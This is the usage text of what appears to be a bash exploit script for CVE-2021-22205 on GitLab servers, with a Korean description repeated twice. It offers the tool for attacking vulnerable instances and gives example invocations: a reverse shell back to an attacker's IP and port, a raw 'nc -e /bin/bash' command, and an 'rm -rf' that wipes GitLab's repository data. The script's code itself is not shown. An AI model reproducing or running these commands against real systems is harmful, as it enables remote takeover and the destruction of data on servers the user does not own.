
CVE-2021-22205를 취약한 gitlab 인스턴스에 대해 악용하는 간단한 bash 스크립트입니다.
gitlab의 취약한 인스턴스를 대상으로 CVE-2021-22205를 악용하는 간단한 bash 스크립트입니다.
Usage: cve-2021-22205.sh [options]
Options:
-h,--help Show this help
-t,--target Set the target server (i.e. "http://gitlab.example.com")
-i,--reverse-ip Set the IP to connect back to
-p,--reverse-port Set the port to connect back to
-c,--command Set the raw command to run instead of the built-in reverse shell (i.e. "nc -e /bin/bash 127.0.0.1 1337")
Examples:
Use the built-in reverse shell payload:
cve-2021-22205.sh -t http://gitlab.example.com -i 127.0.0.1 -p 1337
Run a custom command:
cve-2021-22205.sh -t http://gitlab.example.com -c "rm -rf /var/opt/gitlab/git-data/*"